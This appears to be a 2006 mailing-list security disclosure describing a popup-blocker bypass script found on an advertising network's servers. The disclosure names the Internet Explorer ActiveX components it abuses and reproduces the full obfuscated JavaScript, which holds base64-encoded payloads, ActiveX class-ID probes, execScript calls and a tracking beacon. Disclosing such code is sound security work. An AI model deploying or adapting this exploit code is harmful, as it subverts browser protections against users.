=20
Tribal Fusion and other advertising sites are using virtually identical
copies of a multi-exploit popup blocker bypass script. The script uses
exploits of ocget.dll, OffProv11 and OfficeObj10 classes, the Google
Toolbar, and JavaScript within a Shockwave Flash file. Some exploits
look like a shortcoming in IE handling of MS Office integration.

The script is heavily obfuscated and I have not done a full analysis. I
did find a Securiteam partial analysis from last December at
http://blogs.securiteam.com/index.php/archives/138

The exploit is in the wild and appears to be common. Users of IE6 fully
patched except for Q912945 are being exploited. Not tested under any
other version.




I found the hostile code at:
=20
http://cdn5.tribalfusion.com/media/c...op/pop-tf33.js

contents as of 2006-03-22 13:46:00 UTC-0000 are below.=20
=20
=20
oV1=3Dwindow; function fStart(u,n,v) { if (!oV1.opera) { var
twin=3DoV1.open(u,n,v); oV1.focus(); } if (!window.fV1) {fV13();} var
w=3DoV2(u,n,v); var wo=3DvWA[w]; wo.pw=3Dtwin; fV3("fV10(" + w + =
")",100);
return wo; } function fV11() {return fV6(vV1);} function fV5(x) { return
true; } function oV2(u,n,v) { var c =3D vWA.length; vWA[c] =3D new =
Array;
var cw =3D vWA[c]; var tn=3Dnew Date(); if (!v) var v=3D''; if (!n) var
n=3Dtn.getTime(); cw.location=3Du; cw.f=3D1; cw.s=3D0; cw.n=3Dn; =
cw.v=3Dv; cw.cn=3D"";
cw.cnt=3Dc; cw.blur=3Dfunction() {cw.f=3D-1;}; cw.focus=3Dfunction() =
{cw.f=3D1;};
return c } function fV13() { oV5=3DoV1.document; vWA=3Dnew Array;
fV1=3DoV1.open; fV2=3DoV1.focus; fV3=3DsetTimeout; fV4=3DclearTimeout;
vV1=3D'PE9CSkVDVCBJRD0nb1Y0JyBkYXRhPScvZmF2aWNvbi5 pY28nIHR5cGU9J2FwcGxpY2=
F
0aW9uL3htbCc+PC9PQkpFQ1Q+'; fV20=3D(document.all&&!oV1.opera)?1:0;
isG=3DfV31=3DfV32=3D0; fV21=3DfV20?(navigator.appVersion.indexOf('NT =
5.1')>0):0;
fV34=3DfV20?(navigator.appVersion.indexOf('MSIE 7')>0):0;
oV5.write(fV6('PGlucHV0IHN0eWxlPSJ3aWR0aDowcHg7IHR vcDowcHg7IHBvc2l0aW9uO
mFic29sdXRlOyB2aXNpYmlsaXR5OmhpZGRlbjsiIGlkPSJvVjY iIG9uY2hhbmdlPSJmVjgoZ
lYxLDUsdHJ1ZSkiPg=3D=3D')); =
oV5.write(fV6('PGRpdiBpZD0ib1YxMCI+PC9kaXY+'));
} function debug() {void(0)} function fV6(input) { var o =3D ""; var =
chr1,
chr2, chr3; var enc1, enc2, enc3, enc4; var i =3D 0; var keyStr =3D
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw xyz0123456789+/=3D";
input =3D input.replace(/[^A-Za-z0-9\+\/\=3D]/g, ""); do { enc1 =3D
keyStr.indexOf(input.charAt(i++)); enc2 =3D
keyStr.indexOf(input.charAt(i++)); enc3 =3D
keyStr.indexOf(input.charAt(i++)); enc4 =3D
keyStr.indexOf(input.charAt(i++)); chr1 =3D (enc1 << 2) | (enc2 >> 4);
chr2 =3D ((enc2 & 15) << 4) | (enc3 >> 2); chr3 =3D ((enc3 & 3) << 6) |
enc4; o =3D o + String.fromCharCode(chr1); if (enc3 !=3D 64) { o =3D o +
String.fromCharCode(chr2); } if (enc4 !=3D 64) { o =3D o +
String.fromCharCode(chr3); } } while (i < input.length); return o; }
function fV12() { if (--fV25<1) return; oV1.onerror=3DfV5; var
t=3DfV3('fV12()',500); oV1.wO1=3DoV3.oV4.object.parentWindow;
oV3.location=3DfV6('YWJvdXQ6Ymxhbms=3D'); fV3('fV8(wO1.open,2)',200);
fV4(t); } function fV17() { if (--fV25<1) { fV25=3D25; var
t=3DfV3('fV12()'); return; } var x=3DfV3('fV17()',250);
oV1.fV14=3DoV8.children[0].parentWindow; fV1=3DfV14.open; fV4(x);
oV8.removeChild(oV8.children[0]); oV5.all['oV6'].fireEvent('onchange');
} function fV16() { z=3DcreatePopup(); oV8=3Dz.document.body;
oV8.innerHTML=3DfV6(vV1); fV25=3D5; fV3('fV17()',200); } function =
fV19(v) {
if (oV5.getElementById('oV10')) {
oV5.getElementById('oV10').innerHTML=3Dv; } else { var
o=3DoV5.createElement("span"); o.innerHTML=3Dv; o.style.visibility =3D
"visible"; oV5.body.appendChild(o); } } function fV23() { fV8(fV1,4); }
function fV22() { if (--fV25=3D=3D0) {fV21=3D0; fV7(); return;} var =
wo=3DvWA[0];
var x=3DfV3('fV22()',750); var o=3DfV24('oV9'); if (o.DOM) { wo.s=3D-1;
fV4(x); fV25=3D1;
eval(fV6("dmFyIG91dD0ic2hvd01vZGFsRGlhbG9nKCdqYXZh c2NyaXB0OndpbmRvdy5vbm
Vycm9yPWZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9OyBzZXRUaW1l b3V0KFwid2luZG93LmNsb3
NlKClcIik7IHg9d2luZG93Lm9wZW4oXCJhYm91dDpibGFua1wi LFwiIiArIHdvLm4gKyAiXC
IsXCIiICsgd28udiArICJcIik7ICB4LmJsdXIoKTsgd2luZG93 LmNsb3NlKCknLCcnLCdoZW
xwOjA7Y2VudGVyOjA7ZGlhbG9nV2lkdGg6MTtkaWFsb2dIZWln aHQ6MTtkaWFsb2dMZWZ0Oj
UwMDA7ZGlhbG9nVG9wOjUwMDA7Jyk7Ijsgby5ET00uU2NyaXB0 LmV4ZWNTY3JpcHQob3V0KT
s=3D")); wo.s=3D0; fV2(); fV3('fV23()'); } } function fV28() {
fV19(fV6('PG9iamVjdCBpZD0ib1Y5IiBvbmVycm9yPSJmVjI1 PTEiIHN0eWxlPSJwb3NpdG
lvbjphYnNvbHV0ZTtsZWZ0OjE7dG9wOjE7d2lkdGg6MTtoZWln aHQ6MSIgY2xhc3NpZD0iY2
xzaWQ6MkQzNjAyMDEtRkZGNS0xMWQxLThEMDMtMDBBMEM5NTlC QzBBIj48U0NSSVBUPmZWMj
U9MTwvU0NSSVBUPjwvb2JqZWN0Pg=3D=3D')); fV25=3D6; fV3('fV22()',500) } =
function
fV26() {
fV19(fV6('PElGUkFNRSBpZD0ib1YzIiBOQU1FPSJvVjMiIFNU WUxFPSJ2aXNpYmlsaXR5Om
hpZGRlbjsgcG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTtoZWln aHQ6MTsiIHNyYz0iamF2YX
NjcmlwdDpwYXJlbnQuZlYxMSgpIj48L0lGUkFNRT4=3D')); fV25=3D20;
fV3('fV12()',200); } function fV30() { fV3('fV32?fV29():fV28()'); var
o=3Ddocument.createElement('object');
o.onreadystatechange=3Dfunction(){fV32=3D1};
o.classid=3D'clsid2BD7935-05FC-11D2-9059-00C04FD7A1BD';
o.onreadystatechange=3Dfunction(){fV32=3D0}; } function fV29() {
fV3('fV31?fV28():fV33()'); var o=3Ddocument.createElement('object');
o.onreadystatechange=3Dfunction(){fV31=3D1};
o.classid=3D'clsid:9E30754B-29A9-41CE-8892-70E9E07D15DC';
o.onreadystatechange=3Dfunction(){fV31=3D0}; } function fV33() {
fV3('isG?fV16():fV26();'); var o=3Ddocument.createElement('object');
o.onreadystatechange=3Dfunction(){isG=3D1};
o.classid=3D'clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB';
o.onreadystatechange=3Dfunction(){isG=3D0}; } function fV7() {
oV5.body.onclick=3Dfunction() {fV8(oV1.open,3)}; if (oV5.createElement) =
{
fV24=3DoV5.getElementById; if (fV34) return; if (fV20) { if (fV21) {
fV30(); } else { fV33(); } } else { out=3D'<embed swliveconnect=3D"true"
src=3D"http://cdn1.tribalfusion.com/media/common/pop/pop.swf" =
width=3D"1"
height=3D"1">'; fV19(out); if (!oV5.all) { =
x=3DoV5.getElementById('oV6');
x.focus(); x.value=3DMath.random(); } } } } function fV8(f,t,y) { for =
(var
i=3D0;i<vWA.length;i++) if (vWA[i].s=3D=3D0) { vWA[i].s=3D-1; var =
wo=3DvWA[i];
wo.pw=3Df(wo.location,wo.n,wo.v); fV3("var i=3D"+i+"; var wo=3DvWA[i];
if(wo.s=3D=3D-1){wo.s=3D0}"); fV9(wo,t); } } function fV9(wo,s) { if =
(!s) s=3D0;
if (wo.s > 1) return; if (s=3D=3D0) var t=3DfV3("fV7()",500); if =
(s=3D=3D5 && isG)
var t=3DfV3('fV26()',200); oV1.onerror=3DfV5; if (!oV1.opera)
{wo.f=3D=3D-1?wo.pw.blur():wo.pw.focus();} if (wo.pw) { wo.s=3D2; fV2();
fV4(t);
eval(fV6('CQlpZiAoMSArIE1hdGguZmxvb3IoTWF0aC5yYW5k b20oKSAqIDEwMCkgPCA2KS
B7DQoJCQl2YXIgeD1uZXcgSW1hZ2UoKTsNCgkJCXguc3JjPSdo dHRwOi8vd3d3LmFkb3V0cH
V0LmNvbS92ZXJzaW9uMi9oaXRfdHJpYmFsLmNmbT90eXBlPScg KyBzOw0KCQl9'));
oV1.onerror=3Dnull; } } function fV10(w) { if (oV1.opera && !fV20)
{fV7();return;} wo=3DvWA[w]; fV9(wo); } =20
=20
=20
=20
=20
=20
var l =3D (screen.width - TF_PopWidth) / 2 ; var t =3D (screen.height -
TF_PopHeight) / 2 ; var pop =3D
fStart(TF_PopUrl,'','height=3D'+TF_PopHeight+',wid th=3D'+TF_PopWidth+',le=
ft=3D
'+l+',top=3D'+t+',toolbar=3D0,status=3D0,menubar=3 D0,scrollbars=3D0,resiz=
able=3D0');
pop.blur();
window.focus();
=20